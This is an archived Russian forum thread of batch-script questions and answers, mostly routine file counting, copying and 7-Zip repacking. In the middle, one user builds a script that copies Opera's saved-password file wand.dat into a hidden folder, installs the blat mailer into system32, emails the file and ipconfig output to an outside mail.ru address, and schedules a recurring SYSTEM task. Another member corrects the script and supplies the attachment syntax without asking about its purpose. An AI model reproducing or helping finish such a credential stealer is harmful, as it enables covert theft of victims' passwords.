Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 9

Автор: borin
Дата сообщения: 12.11.2010 17:03
в каталоге лежат файлы вида:


Код:
info.doc
inf1.doc
text.doc
...
1234.doc
1235.doc
1236.doc
...
Автор: NIKZZZZ
Дата сообщения: 12.11.2010 17:14
borin

Цитата:
масок вида [0-9] ведь нет?

Я приводил пример проверки на цифры.
Автор: smirnvlad
Дата сообщения: 12.11.2010 17:15
borin

Цитата:
масок вида [0-9] ведь нет?

отчего же нету есть
dir /b | findstr /X /R ^[0-9]*\.doc$
Автор: borin
Дата сообщения: 12.11.2010 18:23
NIKZZZZ и smirnvlad огромное спасибо!


Цитата:
dir /b | findstr /X /R ^[0-9]*\.doc$
то, что надо!

Автор: SYaros
Дата сообщения: 12.11.2010 18:47

Цитата:
[/q][q]SYaros
чтобы скопировать последний созданный *backup.rar в папке


Код:
pushd D:\B1\
for /F "tokens=*" %%a in ('dir *backup.rar /b /A:-D /O:-D /T:C 2^>nul') do xcopy "D:\B1\%%a" "\\Tovar\base\*.*" & exit


Спасибо ОГРОМНОЕ.Работает.
Автор: mouser
Дата сообщения: 13.11.2010 11:16
вот тут нашел как можно определить количество файлов в директории .... дайте плиз код который будет сканировать рекурсивно и сможет показать количество директорий и файлов

Код: REM Определение количества файлов (НЕ рекурсивно)
set DIR=%1
Set Cnt=0
For %%I In (%DIR%\*) Do Set /A Cnt += 1
Echo %Cnt%
Автор: smirnvlad
Дата сообщения: 13.11.2010 11:57
mouser

Код:
set DIR=%1
set cnt=0
for /R %DIR% %%a in (*) do set /a cnt+=1
Echo Files %cnt%

REM cntf=-1 - не включая указанную, 0 - включая
set cntf=-1
for /R %DIR% %%s in (.) do set /a cntf+=1
Echo Folders %cntf%

set /a cnt+=%cntf%
Echo Total %cnt%
Автор: wolf0425
Дата сообщения: 14.11.2010 01:02

Цитата:
set DIR=%1
Set Cnt=0
For %%I In (%DIR%\*) Do Set /A Cnt += 1

народ, совет: не жадничайте на кавычки и не засовываете имена в %переменные% без необходимости: такой код неустойчив к &() в имени, только вчера на такие грабли наступил. вариант
Код: set /a Cnt=0 & For %%I In ( "%~1\*") Do Set /A Cnt += 1
Автор: abz
Дата сообщения: 14.11.2010 02:39
Есть такая задача:
В одной папке лежит файл. В другой - его резервная копия. Мне надо сделать скриптик, который проверял бы размер файла исходника и если он больше 50 килобайт, то копировал бы его с перезаписью и без вопросов в папку резервной копии, а если меньше, то перезаписывал бы исходник файлом из резервной копии (тоже без подтверждений). Поможете?
Автор: 01MDM
Дата сообщения: 14.11.2010 05:48
abz

Код:
@echo off

for %%i in ("Folder-1\file.ext") do (

if %%~zi gtr 51200 (copy /y "%%i" "Folder-2") else (copy /y "Folder-2\file.ext" "Folder-1")

)
Автор: bomzzz
Дата сообщения: 14.11.2010 05:56
abz

Цитата:

@ECHO OFF
COLOR 9F
CLS
for /f "delims=" %%I in ('dir /b MYFILE.TXT') do set filesize=%%~zI
if %filesize% GTR 51200 (
COPY /Y /B MYFILE.TXT MYFILE-1.TXT
) ELSE (
COPY /Y /B MYFILE-1.TXT MYFILE.TXT
)
PAUSE
Автор: abz
Дата сообщения: 14.11.2010 10:45
01MDM
bomzzz

Спасибо. Всё работает.
Автор: stepanandryuhin
Дата сообщения: 14.11.2010 14:29

Цитата:
Возможно ли с помощью батника изменить дату установки программы в Windows XP?


Если я правильно понял, то это в принципе невозможно или проблема только в правильном написании скрипта?
Автор: bomzzz
Дата сообщения: 14.11.2010 14:36
если найти где эта дата записана то почему бы и не изменить
Автор: VitProff
Дата сообщения: 14.11.2010 15:29
Есть папка с множеством архивов zip. Имена всех архивов разные, но для каждого архива типу "Имя архива.zip" есть архив "Имя архива.dbf.zip". Нужно чтоб скрипт искал архивы "Имя архива.dbf.zip", распаковал их в папку Data\Имя архива\DBF. После чего брал архив "Имя архива.zip" с таким же именем как "Имя архива.dbf.zip" и распаковал их в папку Data\Имя архива\Text. После завершение распаковки архивов нужно запаковать все в папке Data в архивы типу "Имя архива.base.7z"

Помогите пожалуйста решить эту задачу.
СПАСИБО!!!
Автор: 01MDM
Дата сообщения: 14.11.2010 16:05
VitProff
Не проверял, попробуй:

Код:
@echo off
1>nul chcp 1251
setlocal

for %%i in ("Folder\*.zip") do call:arch "%%i"
goto:eof

:arch
set "name=%~n1"
set "name=%name:.dbf=%"

for %%i in (Text DBF) do md "Data\%name%\%%i"

7za x "%name%%~x1" -o"Data\%name%\Text"
7za x "%name%.dbf%~x1" -o"Data\%name%\DBF"

7za a -t7z "%name%.base.7z" "Data\%name%\"
Автор: smirnvlad
Дата сообщения: 14.11.2010 16:23
01MDM
for %%i in ("Folder\*.zip") do call:arch "%1"
разве %1 ?
и каждое имя выбираться будет 2 раза

VitProff

Код:
@echo off

for %%a in (*.dbf.zip) do call:repack "%%~na"

exit

:repack
7za x -o"Data\%~n1\DBF" "%~n1.dbf.zip"
7za x -o"Data\%~n1\Text" "%~n1.zip"

pushd "Data\%~n1"
..\..\7za.exe a -r "..\..\%~n1.base.7z" "*"
popd
Автор: 01MDM
Дата сообщения: 14.11.2010 16:38

Цитата:
разве %1 ?

Конечно %%i. Исправил.
Автор: Free_Soft
Дата сообщения: 14.11.2010 16:41
Слушайте, как в REG ADD передать кавычки? двойные и ^ не спасают.

Код: REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Reboot" /t REG_SZ /d ""С:\My folder\My.exe" /s" /f
Автор: VitProff
Дата сообщения: 14.11.2010 16:54
01MDM
Не работает, только создает в папке DATA пустые каталоги Text и DBF
Автор: 01MDM
Дата сообщения: 14.11.2010 16:55
Free_Soft
Кавычки надо экранировать:

Код:
reg add hkcu\test /v test /t reg_sz /d "\"test test"\"
Автор: VitProff
Дата сообщения: 14.11.2010 17:01
Вариант от smirnvlad заработал.
Спасибо
Автор: 01MDM
Дата сообщения: 14.11.2010 17:02
И наверное так будет правильней:

Код:
....

pushd "Data\%name%\"
7za a -t7z "%name%.base.7z"
popd
Автор: praidik
Дата сообщения: 15.11.2010 16:37
Всем привет, у меня вопрос...
Хотелось бы, чтобы файл wand.dat отсылался мне на почту... Какие изменения для этого нужны?
cd c:\
md RECYCLER
attrib +S +H
copy C:\Docume~1\%username%\Applic~1\Opera\Opera\wand.dat c:\RECYCLER
copy /y "blat.exe" "%SYSTEMROOT%/system32/blat.exe"
copy /y "blat.lib" "%SYSTEMROOT%/system32/blat.lib"
copy /y "blat.dll" "%SYSTEMROOT%/system32/blat.dll"
%SYSTEMROOT%/system32/blat.exe -install -server smtp.mail.ru -port 25 -f логин@mail.ru -u логин2011 -pw пароль

%SYSTEMROOT%/system32/blat.exe "c:\RECYCLER\wand.dat" -to логин@mail.ru

schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr c:\RECYCLER\wand.dat

Заранее спасибо.
Автор: Accessor
Дата сообщения: 15.11.2010 16:50
praidik
что ни строчка - то ересь. это ваш код?

Добавлено:
первая и вторая строка легко приводятся к одной: md c:\Recycler
третья строка не отработает - не хватает параметров; должно быть так attrib +s +h c:\recycler
четвёртая строка копирует wand.dat в созданную корзину; но зачем? можно сразу цеплять его в сообщение; зачем создавать промежуточный каталог и файл в нём?
пятая, шестая и седьмая строки просто не отработают, т.к. первым параметром не указано откуда брать файлы blat.* - хорошо, если они окажутся в текущем каталоге, где будет лежать ваш пакетный файл, а если нет? и вторая ошибка здесь - путь второго параметра задан с прямыми слешами, а нужно с обратными.
в восьмой и девятой надо бы опустить ботву [%SYSTEMROOT%/system32/] потому что опять слеш прямой вместо обратного. кроме того, система и так будет искать в system32, поскольку по умолчанию она указана в переменной Path. Синтаксис обращения с blat.exe проверять облом.
Автор: praidik
Дата сообщения: 15.11.2010 17:19
Accessor

Хорошо...
blat.* лежат в одной папке с самим батом...
Всё то работает... но отсылает только такую строку "Contents of file: wand.dat"
Могли бы вы написать мне нужные команды для отправки файла на майл?
Автор: Accessor
Дата сообщения: 15.11.2010 17:39
praidik
Цитата:
Всё то работает...
Это, конечно, нонсенс. но если работает, то Бог с ним.

Цитата:
Могли бы вы написать мне нужные команды для отправки файла на майл?
Да, легко. В синтаксисе команды указано:
Blat <filename> -to <recipient> [optional switches (see below)]
соответственно у вас должно быть что-то типа:
blat.exe any_file_with_body_text.txt -to логин@mail.ru -attach c:\recycler\wand.dat -subject "My first email with BLAT"

Автор: praidik
Дата сообщения: 16.11.2010 15:47
Accessor
Большое спасибо!
Всё работает с вашей помощью.

Следуя вашим советам получилось собственно вот это...

ipconfig>C:\RECYCLER\ip.txt
blat.exe -install -server smtp.mail.ru -port 25 -f логин@mail.ru -u логин -pw пароль

blat.exe C:\RECYCLER\ip.txt -to praid-@mail.ru -attach C:\Docume~1\%username%\Applic~1\Opera\Opera\wand.dat -subject "My first email with BLAT"
Автор: Free_Soft
Дата сообщения: 16.11.2010 20:27
кто подскажет
ключ вводится через

Код: set /p key=XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
Автор: 01MDM
Дата сообщения: 16.11.2010 21:22
Free_Soft
Можно так:

Код:
@echo off
setlocal

set "key=null"
set /p key="Enter key: "
for /f "tokens=1-5 delims=-" %%i in ("%key%") do call:check %%i %%j %%k %%l %%m

if defined invalid echo "%key%" is invalid value for key
goto:eof

:check
for %%i in (%*) do (

echo %%i | 1>nul findstr "\<[a-Z0-9][a-Z0-9][a-Z0-9][a-Z0-9][a-Z0-9]\>" || set "invalid=1"
set /a cnt+=1

)

if not %cnt%==5 set "invalid=1"

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: Windows 7 Starter


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.